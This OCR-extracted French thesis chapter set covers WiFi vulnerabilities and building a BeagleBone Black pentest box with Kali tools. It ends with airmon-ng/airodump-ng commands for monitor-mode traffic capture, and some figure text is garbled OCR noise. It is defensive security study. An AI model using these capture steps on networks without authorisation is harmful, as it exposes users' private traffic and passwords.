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Introduction Générale

Nous vivons dans un monde basé sur le développement technologique aussi vise
a vis de ce développement existe La cybercriminalité ’arme qui menace 1’avancement

de la technologie dans le monde entier, chaque systéme réseau est vulnérable.

Le réseau informatique est le plus courant, outil utilisé par tous les catégories de la
societé et dans différent espace de travail, de méme il peut étre un support de base pour
toutes transactions. Donc chaque administrateur réseau apres la mise en service doit

lancer un test de vulnérabilité.

Un pentest consiste a lancer des intrusions ou des attaques sur un réseau déja
installé pour le bute de découvrir les vulnérabilités et forcer la sécurité. Aussi utiliser
des outils orientés vers le pentest comme les systéemes d’exploitation KALI Linux,
WIFISLAX. Ces derniers offrent la possibilité d’attaquer les réseaux informatiques par

consequent étudier chaque vulnérabilité et chercher a trouver des solutions.

Pour détecter une intrusion on a pensé a des solutions embarqués a base d’une
carte beaglebone black qui peut se substituée a un équipement couteux. Une solution
embarquée offre également 1’avantage de discrétion a cOté des équipements réseau
sensibles. La solution développée fonctionne sous des systémes d’exploitation et des

outils open source.

Dans notre cas on va exploiter un réseau sans fils WIFI de la norme 802.11, le
WIFI est utilise pour bénéficier de la mobilité. Afin d’installer le réseau on va étudier

des scénarios qui peuvent étre géres par des hackers comme :

e Lancer des scanners pour découvrir, détecter et capter tous le trafic de
I’environnement.

e Effectuer des pentest face a un réseau wifi mal sécurise.

e Se positionner au milieu pour capter contrdler et analyser le trafic entre des
équipements connectés pour extraire des informations personnelles come mot de

passe, photos......



Notre travail est organisé comme suit, dans le premier chapitre nous avons abordé
la technologie des réseaux WIFI ainsi que les différents scénarios utilisés par
d’éventuels pirates pour défere le fonctionnement normal du réseau et exploiter les
failles de sécurités a diverses fins. Le second chapitre aborde la technologie des
ordinateurs embarqués. Un point particulier a été dédié a la carte dite Beagle Bone, un
ordinateur embarqué aillant la dimension d’une carte de crédit et doté de performances
efficace : une mémoire vive de 512Mo et un processeur Sitara AM335x ARM de 1 GHz
le systéme d’exploitation s’installe sur une mémoire de masse incorporée. le Troisieme
chapitre est dédié au différentes approches de scan des réseaux sans fils. Des scans
utilisés pour découvrir les réseaux, sniffer les trames. Les outils utilisés pour perturber
les réseaux sont présentés dans le chapitre quatre. Ou on a abordé la sécurité a
implémenter avec chaque approche d’attaque. Le chapitre cinq traite les vulnérabilités
les plus audacieuses pour les réseaux informatiques, des solutions de lutes trés efficaces

sont proposees.
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Chapitre I : Vulnérabilités des réseaux WIFI

1. Introduction :

Les réseaux sans fils occupent une place importante dans ’activité de tous les
jours, particuliérement ceux du type WIFI : se connecter a internet, téléecommandes,
téléphone fixe sans fils....

Dans ce chapitre nous allons décrire le fonctionnement des réseaux WIFI, et

définir les équipements utilisés; type d’installation et des explications sur les
vulnérabilités associées avec les réseaux wifi.

2. Les équipements utilisés dans un réseau WIFI :

2.1. Carte réseau sans fil :

Il s’agit d’une carte réseau a la norme 802.11 permettant a une machine de se
connecter a un réseau sans fil.

L’emplacement de la carte réseau dans un ordinateur peut étre interne et intégrer

ou non intégrer, dans ce cas elle se connecter au port USB.

Figure I.1. Carte WIFI interne PCI.

2.2. Point d’acces noté AP (Access point) :

Un point d’accés parfois appelés borne sans fil permet de donner un acces au

réseau filaire aux différents équipements dotés une carte réseau sans fil.

Figure I.2. Point d’accés WIFI.
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Chapitre I : Vulnérabilités des réseaux WIFI

2.3. Un Modem-routeur ADSL :

Est un appareil tout-en-un destiné a relier un ou plusieurs ordinateurs a Internet et qui

contient les éléments suivants :

1. Un modem ADSL pour la connexion a Internet.

2. Un Routeur pour geérer la translation d"adresse entre I"adresse publique et les
adresses privees (NAT).

3. Un Firewall pour sécuriser la connexion avec Internet.

4. Un switch pour gerer les communications entre les appareils du réseau
(ordinateurs, modem, etc ...).

5. Eventuellement un point d"acces wi-fi pour gérer un réseau sans fil.

\
A\
\

.

&£

U pocm=mm e

~ . — —_— ——

Figure 1.3. Modem routeur WIFIL.

3. Le fonctionnement et les différents types d’infrastructures :
Le WiFi est une technologie sans-fil qui peut étre utilisée sur tous types des machines
possédant une carte sans-fil. 1l existe plusieurs modes de fonctionnement différents pour
le WiFi et sur lesquelles nous allons travailler :

- Le mode infrastructure,

- le mode ad-hoc

- le mode répéteur.

3.1. Le mode infrastructure :
En mode infrastructure chaque ordinateur se connecte a un point d'acces via une liaison

sans fil.

12
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>
oY
R A

Firewall ADSL Modem

Point
d'accés

192.168.0.1

iPod

192.168.0.200

Figure 1.4.1a topologie du mode infrastructure.

3.2. Le mode ad-hoc:

En mode ad hoc les machines sans fils clientes se connectent les unes aux autres
afin de constituer un réseau point a point (peer to peer en anglais), c'est-a-dire
un réseau dans lequel chaque machine joue en méme temps le role de client et le

role de point d'acces.

192.168.0.2

192.168.0.4 192.168.0.3

Figure L.5. Topologie du mode AD-HOC

3.3.  Le mode pont (“bridge”) :

En mode bridge le point d’accés jou le role d’un pont réseau

13



Chapitre I : Vulnérabilités des réseaux WIFI

Swilch 3
"y -

%g 1927166.1.5

Firewall ADSL hodem

.
Point - 1927768.1.6
d'accés Point
d'acces
192.168.1.100
S/étch 192.168.1.101

T = < ‘ -t
192.168.1.103

192.168.1.102

Figure 1.6. Topologie du mode Répéteur (bridge).

4. Vulnérabilités des réeseaux WIFI :

Les risques liés a la mauvaise protection d'un réseau sans fil sont multiples :

4.1. L’écoute des données :
Ce type de vulnérabilité existe dans tous les réseaux filaires et sans fil mais il est plus
facile & exploiter dans les réseaux WIFI par ce que I’attaquant peut étre physiquement
caché a ’intérieure de la portée du réseau.
Dans ce cas il utilise des utilitaires d’écoute « sniffer » pour capter les paquets qui
circule dans le réseau puis apres ’analyse il sera possible de récupérer des donnés

confidentiel.

Réseau Privé d'entreprise

Donnés

Donnés

Hacker

Figure L.7. L’écoute des données (Sniffing).
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Chapitre I : Vulnérabilités des réseaux WIFI

4.2. L’intrusion et le détournement de connexion :
Quand I’attaquant détecte une zone wifi, il essaie de se connecté sans permission
de I’administrateur réseau « intrusion ».
Puis il trompe les utilisateurs du réseau par modification du point d’accés et
devient un nceud qui gére tous le trafic. Il peut par conséquent insérer, modifier

et sauvegarde les paquets qui circulent entre les utilisateurs.

Réseau Privé d'entreprise

Donnés

Groupe de travaille 1

Donnés

'V. { Donnes
>

Groupe de travaille 2

Hacker

Figure 1.8. L'intrusion et le détournement de connexion.

4.3. L’occupation de la bande passante :

Cette vulnérabilité est la plus reconnue dans les réseaux locaux sans fil, le
pirate utilise une manipulation qui coupe la connexion a tous les clients
connectés dans le réseau, ce qui lui permet de bénéficier de la totalités de la

bande passante.
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Chapitre I : Vulnérabilités des réseaux WIFI

Groupe de travaille 1

Groupe de travaille 2

Figure 1.9. L’occupation de la bande passante.

4.4. Brouillage de réseau WIFI :
Le pirate attaque le support physique du réseau wifi ; puisque il est basé sur des ondes
magnétiques. L’utilisation d’un équipement qui perturbe le réseau par 1’émission des

ondes parasites qui masquent aux clients le signal wifi utiles.

Hacker

Figure 1.10. Brouillage du réseau WIFI .
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4.5. Le déni de service DDOS :
Le pirate occupe la point d’accés ou lui envoie des paquets chiffrés pour augmenter le
temps de calcule, Aprés un certain temps le point d’accés ne répond pas est devient hors

service.

Paquets chiffré

Groupe de travaille 2

Hacker

Figure I.11.Le déni de service DDOS

5. Conclusion :
Il est clair que les réseaux sans fils souffrent de probléemes de sécurités multiples et sont
soumis a des vulnérabilités facilement exploitables par un connaisseur. Un outil de test
de I’existence des différentes failles de sécurité est un dispositif primordial pour la
protection du réseau. on se propose de concevoir un tel outil en se basant sur des

composants embarqueés.
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Chapitre II : Carte embarquée Beaglebone black Pour la détection

1- Introduction :

Le réseau informatique permet de relier des équipements entre eux, ces
équipements sont variés. Pour notre travaille on va expliquer des équipements
embarqués a I’image de la beaglebone black, et qui permettent un échange sur le
réseau. On va entamer ce chapitre en deux parties hardware et software. Ou les
étapes de mise en service a respecter pour un fonctionnement optimal.

2- Notion sur le systeme embarque :

Un systeme embarqué peut étre défini comme un systéme électronique et
informatique autonome qui est dédié a une tache bien précise ; et posséde des
paramétres (taille ; énergie limité) réduites.

Le systeme embarqué généralement possede un processeur, mémoire et les
diapositives d’entrées sorties. Les cartes embarquées les plus reconnue dans le
marché ( ARDUINO [4], Rassbery PI[5], BEAGLEBONE)[5].

Dans notre cas on va s’intéresser et etudier cette derniére, commengant par la

partie hardware puis en va entamer la partie Software.

3- Beaglebone black ( BBB) :

Beaglebone black BBB comme abréviation est un mini-ordinateur Linux open
source de la taille d’une carte bancaire.

Il est équipé d’un de processeur Sitara AM335x ARM de 1 GHz, d’une
interface HDMI, d’une connexion Ethernet 10/100 et d’une mémoire vive de 512
Mo.

Cette carte permet de nombreuses Entrées/Sorties est une puissance de calcul

pour des analyses en temps réel [5].

4- Caractéristique technique de BBB :

Poids 40g

Processeur Sitara AM3358 ARM Coretex — A8
Type de mémoire RAM DDR3

Mémoire flash 4 GB eMMC

Mémoire vive 512 Mo

Alimentation 5Vv/DC

Résolution 1440x90 Pixel

Tableau II.1. Caractéristique de Beaglebone Black.
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DC Power 10/100 Ethernet

PMIC Ethernet PHY

Sitara AM3358
USB Client

Serial Debug LEDS

512MB DDR3
Reset Button

eMMC

USB Host

HDMI Framer
microHDMI

usSD Boot Button

Figure I1.1. Beaglebone Black

5- Les entrées sorties de BeagleBone Black (BBB) :
Le BBB est un mini-ordinateur complete comporte bien les E/S, écran, clavier,
Sourie, Ethernet, USB....

Bien que les broches E/S qui sont maintenant standard pour accepter la gamme

de module de type Arduino appelé caps [6].

A - — ;-q‘j
—
Breadboard Breakout & -
»
_R —H : s - . =
| e J y
Profibus
RS2 RS485 4.3"LCD VGA Battery
S t_-‘ 1 [} U
\ PRI g T3 Y =T
V - - 4 =8
-CC1101 o
YD cc2500 Weather Camera CAN
€c2530 -

® %

DVI-D wf .
Audio o ' e BeBoPr LVDS

Figure I1. 2 Exemples des caps.
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Et d’autre port d’extension comme :

e  65GPIO (E/S

Numérique) :

Chapitre II : Carte embarquée Beaglebone black Pour la détection

65 possible digital I/Os

GPIO_30
GPIO_31

11[12 GPIO_60
13 14 GPIO_S0

GPIO_38

GPIO_39

GPIO_66

1
3
GPIO_34 5
7
GPIO 69 9

2
a

' 6 |GPIO_35
8 |GPIO_67
GPIO_68

GPIO_45
GPIO_23

GPIO_44
GPIO_26

GPio_a8

15 16 GPIO_51

GPlO_47

GPIO_S

17 18 GPIO_4

GPIO_27 1

Sy GHIO.46
GPIO_65

Gelo 221
GPIO 62 |
GPIO_36

GP10_63

GPIO_37
GPIO_33

GPIO_115

' GPIO_14
GPIO_113

GPIO_32
GPIO_86

GPIO_61
GPIO_88

GPIO_111
GPIO_110

GPIO_112

GPIO_87
GPIO_10

GPIO_89
GPIO_11

GPIO_9
GPIO_8

GPlO_81
GP10O_80

GPIO_78
GPIO_76

GPIO_79
GPIO_77

GPIO_74
GPIO_72

GPIO_75
GPIO_73

GPIO_70

Figure I1.3. Les GPIOs de 1a BBB.

. 8PWM « Pulse With modulation » Sortie Analogique pour caractériser :

GPIO_71

8 PWMs and 4 timers

I 2 I 2
I : 4 GPIO_ 38 3 4 GPIO_39
I - s GPIO 34 5 6 GPIO_35
I 0 TIMER4 7 8 |TIMER7
I c ° | TIMERS | 9 "l’blTl'ME"Ré ‘
GPIO 30 11 12 GPIO 60 [ GPIO 45 11 12 GPIO 44
GPIO 31 13[14] EHRPWMIA || EHRPWM2B[13]14 GFIO 26
GPIO 48 15| 16 EHRPWMIB GPIO 47 15 16 GPIO_46
GPIO_ S5 17 18 GPIO 4 GPIO_27 17 18 GPIO 65
15 20 IS [ EHRPWM2A[ 1520 GPIO 63
| EHRPWMOB |21 |22 EHRPWMOA GPIO_62 21 22 GPIO_37
GPIO_49 23 24 GPIO_15 GPIO 36 23 24 GPIO_33
GPIO_117 25 26 GPIO_14 GPIO_32 25 26 GPIO_61
GPIO 115 27|28 ECAPPWM2 GPIO_86 27 28 GPIO_88
| EHRPWMOB [29 30 GFIO 112 GPIO 87 29 30 GPIO_89
EHRPWMOA |31 22 GPIO 10 31 32 GPIO 11
33 34 GPIO 9 3334 EHRPWMIB
35 36 GPIO 8 35 36 | EHRPWMI1A
37 38 GPIO_78 37 38 GPIO_79
39 40 GPIO_76 39 40 GPIO 77
GCPIO 20 4142 ECAPPWMO GPIO_74 41 42 GPIO_75
43 44 GPIO 72 43 44 GPIO 73
_45 46 | EHRPWM2A 45 46 | EHRPWM2B

Figure I1.4. Les sorties PWMs
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7 Entrées analogiques :

7 analog input

GPIO_30 11
GPIO_31 13
GPIO_48 15
GPIO_S5 17

©

GPIO_3 21
GPIO_49
GPIO_117
GPIO_115
GPIO_111
GPIO 110 31

ONUO W=
T

32

oo sN

10
12 GPIO_60
14 GPIO_SO0O
16 GPIO_51
18 GPIO 4
20
22
24
26
28
30

GPIO_2
GPIO_15
GPIO_14
GPIO_113
GPIO_112
VDD_ADC

AINA
AIN6

34

4 GNDA_ADC
36

AINS

AIN2

38 AIN3

AINO

40 AIN1

GPIO_20 41

42 GPIO_7
44
46

GPIO_38
GPIO_34
GPIO_66
GPIO_B9
GPIO_45
GPIO_23
GPIO_47
GPIO_27
GPIO 22
GPIO_62
GPIO_36
GFPIO_32
GPIO_B86
GPIO_87
GPIO_10

GPIO_9

GPIO 8
GFIO_78
GPIO_76
GPIO_74
GPIO_72
GPIO_70

IS

2
4 GPIO_39
6 GPIO 35
8 GPIO 67
10 GPIO_68
12 GPIO_44
14 GPIO_26
16 GPIO_46
18 GPIO_65
GPIO 63
GPIO_37
GPIO_33
GPIO_61
GPIO_88
GPIO_89
GPIO_ 11
GPIO_81
GPIO_80
GPIO_79
GPIO_77
GPIO_75
GPIO 73
GPIO_71

Figure IL.5. Les sorties analogique de BBB.

5 UART ( Ports Séries) :

4 UARTs and 1 TX only
—vom e,

ONUW-—
T

UART4_RXD | 11
UART4_TXD | 13

GPIO_48 15
GPIO_ S5 17

UAR‘I"I _RTSN 19

UART2_TXD | 21

GPIO 49 23
GPIO_117 25
GPIO 115 27
GPIO_ 111 29
GPIO 110 31

33
35
37

43
45

Figure 11.6. Les 4 UART et 1 TX de BBB.

44

28 GPIO_113

30 GPIO_112

32
34
6 INNEN

38
39 40
GPIO 20 41 42 UART3_TXD

46

GPIO_38
GPIO_34
GPIO_66
GPIO_69
GPIO_45
GPIO_23
GPIO_47
GPIO_27
GPIO 22
GPIO_62
GPIO_36
GPIO_32
GPIO_86
GPIO_87

2

4 GPIO_39
6 GPlO 35
8 GPIO 67
10 GPIO_68
12 GPIO 44
14 GPIO_26
16 GPIO_46
18 GPIO_65
GPIO_63
GPIO_37
GPIO 33
GPIO_61
GPIO_88
GPIO_89

22
24
26
28
30

UARTS5_CTSN+
UART4 RTSN
UART4_CTSN

EE)
35

34
36

32 | UARTS_RTSN
UART3_RTSN

UART3_CTSN

UARRS_TXD+

GPIO_76
GPIO_74
GPIO 72
GPIO_70

37
39
a1

43
45

38 | UARTS_RXD+
" 40 GPIO_ 77
42 GPIO_75
44 GPIO_73

46 GPIO_71

Chapitre II : Carte embarquée Beaglebone black Pour la détection
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o Bus divers (3 12C, 1SPI1,1CAN) :

2 12C ports

P9 P8
[ oono NN OGN B oono BN OGND |
[ Voo Svs [ VoD Vs | GPIO_38 3 4 GPIO_39
I c - DS GPIO 34 5 & GPIO 35
[ GPIO 66 7 8 GPIO 67
I © o EEESE GPIO_69 9 10 GPIO_68
GPIO 30 11 12 GPIO_60 GPIO_45 11 12 GPIO 44
GPIO_31 13 14 GPIO_SO GPIO_23 13 14 GPIO_26
GPIO_48 15 16 GPIO_S51 GPIO_47 15 16 GPIO_46
12C1_SCL |17 18 12C1_SDA GPIO_27 17 18 GPIO_65
12C2 SCL | 19 20 12C2 SDA GPIO 22 19 20 GPIO 63
12C2_SCL |21 22 12C2_SDA GPIO_62 21 22 GPIO_37
GPIO_49 23|24 12C1_SCL GPIO_36 23 24 GPIO_33
GPIO_117 25|26 12C1_SDA GPIO_32 25 26 GPIO_61
GPIO_115 27 28 GPIO_113 GPIO_86 27 28 GPIO 88
GPIO_111 29 30 GPIO_112 GPIO_87 29 30 GPIO 89
crio 110 31 22 GPIO_10 31 32 GPIO 11
IR :: - GPIO_9 33 34 GPIO_81
BEEREE - < BEEE GPIO_ 8 35 36 GPIO_80
R ;0 - BRE GPIO_78 37 38 GPIO_79
I c© <0 R GPIO_76 39 40 GPIO_77
GPIO_20 41 42 GPIO_ 7 GPIO_74 41 42 GPIO_75
I - <+ GPIO_72 43 44 GPIO 73

[ pEe | GPIO_70 45 46 GPIO_71

Figure IL.7. Les sorties 12C de BBB.

Il y a d’autre possibilité pour un utilisateur plus avancé ( PRU, Times ...).

6- Le choix du systéme d’exploitation :

Linux c¢’est le choix le plus évident pour les systémes embarqués et le pentest
pour les réseaux informatiques ; et aussi les sources de systéme sont a disposition
de chacun; et pour notre cas la BBB est livrée avec une distribution linux
préinstallé (Distribution Angstrém orienté embarqué).

Pour faciliter la tdche on a besoin d’une distribution Linux pré-préparée pour
un pentest.

Kali linux une révolution majeur dans le monde de sécurité informatique et
surtout pour la distribution BACKTRACK le lancement du tout nouveau KALI
Linux (BACKTRACK 6).

BACKTRACK est une distribution 100% dédiée au domaine de la sécurité et
pentest, vue qu’elle met a la disposition des pentesters plus de 300 outils dédiées a

I’identification des vulnérabilités réseaux [7].

7- Fonctionnalité de la distribution KALI Linux :
C’est une amélioration du Backtrack , baptisee Kali V1.0.
J Kali linux n’est plus basée sur Ubuntu mais sur Debian. Alors ses dépots

se synchroniseront avec les dép6ts officiels de Debian.
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o Les packages inclus dans kali Linux sont donc supportés par n’importe
quel Debian.

L’un de nos objectifs consisté a personnaliser sa distribution affins de disposer

d’une image iso qui correspond au mieux a nos besoins.

o La fonctionnalité la plus important c’est que Kali fonctionne aussi sur
les surfaces tactiles (Architecture ARM)[7].

8- Wifislax:

Wifislax est une solution informatique ayant pour objectif d’offrir a
ses utilisateurs la possibilité de contrdler le niveau de sécurité de leurs
installations wifi a travers 1’application d’une panoplie de tests. Le logiciel est

a destination des particuliers et des professionnels.

Wifislax fait I’objet d’une distribution Linux avec une orientation sur
les notions de sécurité¢ du systeme wifi. La base de 1’application est le systéme
d’exploitation Slax qui est une adaptation Linux, moderne, portable avec une

grande modularité. En effet, Slax dispose d’un panel de logiciels trés large.

De fait, avec le travail BackTrack, Wifislax est un pack (proposant de
nombreux outils) d’applications et de drivers ayant pour objectif de permettre
la réalisation de tests indispensables pour vérifier la qualité de la sécurité des

réseaux wifi.

Ce but principal vise a simplifier les contréles contre les intrusions et
hacking extérieurs, avec la préservation du systeme, ce qui est important tant
dans un usage domestique que dans le cadre d’un réseau professionnel. En
effet, la préservation des données dans la sphere professionnelle est une priorité

que Wifislax se propose d’obtenir de facon particulierement efficace tout en

étant accessible avec un niveau informatique médian [8].
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9- Module WIFI Plus Click de Microchip :

Wifi Plus Click est un accessoire carte de microchip bus™ , il est compatible
pour la communications Wifi. Il fonction de MRF24WBOMA — 2.4 GHz,IEEEStd
,802.11 et comporte le module MCW1001 Control la pile TCP/IP et gestion de
connexion 802.11.

Le module WIFI Plus Click communiqué avec 1’entre de carte embarquée via
interface UART, il est alimenté par des tensions de 3.3V. [9]

||
SI86P003100 SYn

| OBl @
YROSVRI=oN |
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=

i€l ShEos

FERERIRABINARGRIND
FRIRARANYR AR AR Y

iivrazzas
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Slesnnanas

mikro€lektronika

i

Figure I1.8. Carte WIFI Click Plus.

10- WIFI Plus Click Pins:

Pour interfacé le WIFI Plus Click nous somme intéressé seulement par les 6
PINS (RX,TX,RTS,CTS,3.3V,GND).

L’emplacement des periphériques sur une BBB a besoin d’un shield
d’interface Micro Bus, en cas d’absence de se shield nous sommes obligé
d’utiliser les interfaces d” E/S et les PINS de WIFI Plus Click.

On a choisie I’interface serial UARTI1 de la BBB et d’aprés le schéma

présenté sur la figure 11.9 nous aidons de connaitre I’emplacement de chaque fil.

Figure I1.9. Schéma d’installation de WIFI Plus Click et UART1 de la BBB.
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11- Démarrage de beaglebone black :

Pour lancer la BBB bien s(r on a besoin d’une source d’alimentation, la BBB
peut étre alimentée via une interface USB ou indépendamment via source
d’alimentation 5V DC.

On a besoin des outils logiciel qu’on détaillés dans les étapes suivantes :

On ’a choisiec Debian comme un systéme d’exploitation par ce que. Debian
supporte les outils de pentest de Kali linux [10]. Ceci permet de construire

efficacement notre systéme embarqué.

11.1. Configuration du Boot de la BBB via carte memoire
microSD :
1. La BBB est connectée avec I’interface USB d’ordinateur.
2. La BBB contient déja un systeme d’exploitation flashé dans la mémoire
de mass, mais dans notre cas le systeme d’exploitation n’existe pas.
Donc nous somme obligé d’installer un nouveau systéme.
3. Une carte mémoire microSD supérieur a 4Go comme une source de boot.
4. une image bone-debian-8.2-tester-2gb-armhf-2015-11-12-2gb.img.xz.[11]
5. Apre la décompression on utilise le logiciel Win 32 disque Imager pour
copier I’image vers la carte mémoire microSD.
6. On place le microSD dans la BBB, et en mettre sous tension via USB.
7. Le logiciel PUTTy est utilisé pour accéder a la BBB via le Protocol SSH,
I’adresse par default de la BBB est 192.168.7.2 sinon on tape arp —a dans
la ligne de commande pour voir I’adresse IP associer pour la BBB .

ER PuTTY Configuration X
Category
10.6.18248] Session Basic options for your PUTTY session
tion. ALl rights reserved. Loagin
o glg e Specy the destination you want to connect to
- min
e: 1 - Host Name (or IP address) Fort
Bl 152.168.7. 22
Features Connection type: -
Window ORaw O Teinet O Riogn @3SSH O Senal
earance
Fep Load, save or delete a stored session |
Behaviour
Translation Saved Sessions
Selection L
Colours Default Settings Load
Connection bbb
Data Save
Proxy
Telnet Delete
Rlogin
#- 55H
& rSS;a-nal Close window on exit ~
aN. (O Aways (O MNever () Only on clean exit
| About Open Cancel

Figure I.10resultat de la commande arp-a et I'interface PuTTY.
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le login : debain et le mot de passe : temppwd

| @ debian@arm: ~

ebian: temppwd]

Figure I1.11. Le Shell de la BBB.

Les étapes précédentes activent la console qui affiche le Shell de la BBB.

11.2. Flasher la mémoire eMMC de la BBB :

On va suivre les mémes étapes précédentes seulement le type de I’image
téléchargée va changer du type armhf ver eMMC (BBB-eMMC-flasher-debian-
8.2-console-armhf-2016-01-14-2gb.img.xz) [12]. Puis on place microSD qui
contient cette image. le bouton BOOT(Figure 11.1) de la BBB apres une metre
sous tension 10 sec installe le firmware.

L’allumage des 4 LED signifie que la mémoire mass de la BBB (eMMC) est

bien flashée. La BBB peut étre lancée sans carte mémoire microSD.

Remarque :

Des fois la BBB lance le flash par défaut et on n’a pas besoin d’appuyer sur le
bouton boot, donc il est déconseillé de mettre la carte mémoire SD qui contient
I’image eMMC avec les autre cartes.

12- Installation de WIFI Plus Click:
Apres le montage du WIFI Plus Click avec la BBB on va maintenant
configurer comme une interface wifi Sous linux pour afficher les interfaces

réseau. La commande ifconfig ou iwconfig pour spécifier seulement les interfaces
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wifi mais dans notre cas rien n’est affiché. On a pensé d’accéder en mode console
ver le WIFI Plus Click.

Installation d’émulateur minicom pour linux.
#apt-get install minicom

Puis on tape Y. Apres l’installation de minicom on va configurer les
parameétres par default on tape :

#minicom —s

and paths

sfer protocols

Figure I1.12.Les paramétres de minicon.

L’entrée des parametres par default :

=]

D
F

Figure I1.13.Configuration du parameétre d’interface série.

Aprés changement des paramétres on va choisir de sauvegarder les parametres
par default

Pour lancer la connexion on tape

#minicom
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Remarque :

Les étapes précédentes sont un échantillon d’une méthode classique, on a
essayé plusieurs méthodes. Dans notre travaille on a remplacé click bord par une
simple carte réseau USB ( D-Link DWA-125) qui est plus efficace.

13- Installation de driver de D-LINK DWA-125:

Le D-Link DWA-125 est un adaptateur USB sans fil qui nous permet de se
connecter un ordinateur de bureau ou portable a un réseau sans fil 802.11g ou
réseau 802.11n avec une performance plus élevée sur la connectivité sans fil et la

réception sans fil que les cartes 802.11g standard.

Figure I1.14. Carte réseau D-LINK DWA-125.

Le DWA-125 offre des performances sans fil rapide et des transferts de fichiers
rapides, permettant une meilleure réception. Il est livré avec un programme
d'installation de l'adaptateur CD-ROM de I'assistant d'installation rapide, nous
permettant de configurer l'adaptateur USB facilement. Il dispose également d'un
gestionnaire de connexion sans fil qui ajoute et enregistre les paramétres pour les
réseaux que nous utilisons le plus souvent.

Mais dans notre cas nous travaillons sous linux est avec un systéme embarqué
la solution la plus souvent d’utilisée consiste a télecharger les drivers de les

installer depuis le net [13].

14.1. Installation de D-Link DWA-125 :
Pour interfacer la carte réeseau D-link on va suivre les étapes suivantes :

e On lance une mise & jour pour notre systéme d’exploitation
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#apt-get update
e Puis on lance une mise a niveau :
#apt-get upgrade
e Puis I’installation des paquage ralink parce que le driver de D-Link utilise
ralink RT3070 :
#apt-get install firmware-ralink
e On tape la commande suivante :
#apt-get install rfkill
#rfkill unblock wifi
e Activation de la carte réseau

#ifconfig wlan0 up

15. Téléchargement les outilles du pentest :

On a dit que Debian support les outils de pentest de Kali, pour ajouter ces

outils on va utiliser une méthode simple gréace au scripte katoolin.

15.1.Téléchargement de katoolin :
Dans le Shell et on mode root
$sudo su
On va choisir répertoire tmp:
#cd tmp/
Lien sous dessue pour clone katoolin
#git clone https://github.com/LionSec/katoolin.git && cp katoolin/katoolin.py
/usr/bin/katoolin
Changement des permissions:
#chmod +x /usr/bin/katoolin
L’exécution de katoolin

#tkatoolin

15.2. Installation les outils kali linux :
*Ajout des dépots :
Lorsque Katoolin est exécuté, commencer par ajouter les dépbts en choisissant

« 1 »dans le menu :
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Figure I1.15. L’'interface KATOOLIN.

eInstaller les outils :

Une fois les dépots ajoutés et le systeme mis a jour, choisir dans le menu «

View Catégories » :

Figure I1.16. Liste des catégories a installé.

Pour quitter katoolin on tape CTRL+C [14].

Remarque :
Attention, I’option « 0 » installe Kali Linux sur la distribution et peut casser le

systeme.
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16. Conclusion :

Dans ce chapitre on a présenté I’intégration matérielle basée sur le systéme
embarqué BeagleBone Black. Sur lequel on a enchainé avec la mise en service en
installant le systéeme d’exploitation Linux Debian avec les différents packages
inspirés de la distribution kali et qui seront nécessaires pour réaliser les différentes

approches du pentest.
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1. Introduction :

Dans cette partie on va expliquer les besoins d’un pentest et comment on peut
démarrer un travail d’un aspect matériel et logiciel, bien que les bases ou les outils pour

découvrir, détecter et capter tous le trafic de I’environnement.

Si un pentester maitrise bien la situation il peut suivre les étapes qui vont étre

expliquées dans ce chapitre et les suivants.

2. Espace de travail :

Un espace de travail est le point fort et basique qui aide un pentester de mieux

comprendre le fonctionnement des réseaux, systemes et protocoles.

Pour notre travail on a préparé un laboratoire qui rassemble entre le virtuelle et le
réel par-ce-que on a un manque des ressources physiques importantes aussi pour ne pas

étre lié a un environnement travaillé dans un seul endroit.

Bien sur la notion de Virtual lab, signifie qu’il faut une station de travail qui

comporte des ressources bien élevées.

Dans notre cas on a travaillé sur un ordinateur portable de processeur Intel Core i5
(2.60 Ghz) ; une mémoire vive RAM de 8 GB et un disque dure de 500 Go.

3. Programme d’émulation VMware Workstation:

VMware Workstation exploite le matériel le plus récent pour répliquer les
environnements de serveurs, de postes de travail et de tablettes sur une machine
virtuelle. Exécuter conjointement les applications sur un large éventail de systémes
d’exploitation, notamment Linux et Windows®, le tout sur le méme PC et sans
redémarrer. Avec VMware Workstation, il devient extrémement simple d’évaluer de
nouveaux systémes d’exploitation, ainsi que de tester des applications et des correctifs,
ou des architectures de référence, dans un environnement isolé et parfaitement sdr.
Aucun autre logiciel de virtualisation de postes de travail n’offre des performances, une

fiabilité et des fonctionnalités de pointe comparables a celles d’une Workstation [15].
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4. Description de la topologie :
La figure ci-dessus illustre la topologie principale acquise comme base ou le
support de notre réseau, ce dernier est composé de quatre terminaux, la BBB et utiliser

comme modem routeur WIFI et des fois on ajoute un smartphone.

Modem
Routeur
Wifi

Pc_01 Win 10

SmartPhne

Pc_03 KALI 2

Figure II1.1. Schéma de base de la topologie exploitée.

5. Scan du réseau :

Le scan du réseau c¢’est le point initial pour le pentest ; I’objective du scan c’est de
découvrir les points d’acces, les clients connectés.

Les performances du scan ne sont pas influencées par le matériel, il est possible
d’utiliser des laptops, smartphones, ou des autres systémes embarqués capables de
sniffer un réseau WIFI.

Aussi on va presenter deux méthodes de scan

e Scan passif

e Scan actif
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5.1.Scan passif :
Le scan passif est quand une station client écoute une liste des SSIDs sont déja

listés dans les réseaux préférés c’est-a-dire sont classés apres la premiere découverte, le

classement se fait par la qualité du signal émis par le point d’accés.
Les trames écoutées ou captées s’appellent BEACONS et pour capter les beacons il

faut que la carte réseau supporte le mode moniteur.

SmartPhone

Pc_03 KALI 2

Mode Moniteur

Figure I11.2. Fonctionnement en mode moniteur.

5.2.Scan actif :

Le scan actif differe complétement par rapport au passif ;en effet dans le scan
passif le client écoute des trames beacons du point d’acces, mais pour le scan actif le
client envoi des trames de réponses probes avec le SSID.

Le point d’accés qui €coute cette réponse va répondre par des trames probes ; cette

derniers contiennent toutes les informations présentes dans les trames beacons.
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Pc_01 Win 10

4 d'emande
probe

SmartPhone

Pc_03 KALI 2

Figure II1.3. Mode de fonctionnement du scan actif

6. Manipulation sur les outilles de scan :

On va voire des outils qui sont peu utilisés pour le scan d’un réseau wifi.

6.1.1. L’outille Airodump-ng :

Airodump-ng fait partie du package Aircrack-ng, il est utilisé pour attaquer un
réseau sans fils 802.11, airodump-ng permet de capter des raw 802.11 trames.

Il est aussi capable de capter des IVs (Initialisation Vectors) utilisés pour cracker la
clé WEP.

Les sorties de airodump-ng sauvegardées sous deférents formats (pcap, ivs, csv,
gps, kismet, netxml,...), qu’on peut analyser quand le scan est terminé.

Les étapes suivantes conduisent ver un simple scan, on utilise airodump-ng.

1. Activation de la carte réseau wifi

# ifconfig wlan0 up

2. Activation et création du mode monitor

#airmon-ng start wlan0

3. Démarrage airodump-ng pour scanner le réseau

#airodump-ng —w dump mon0

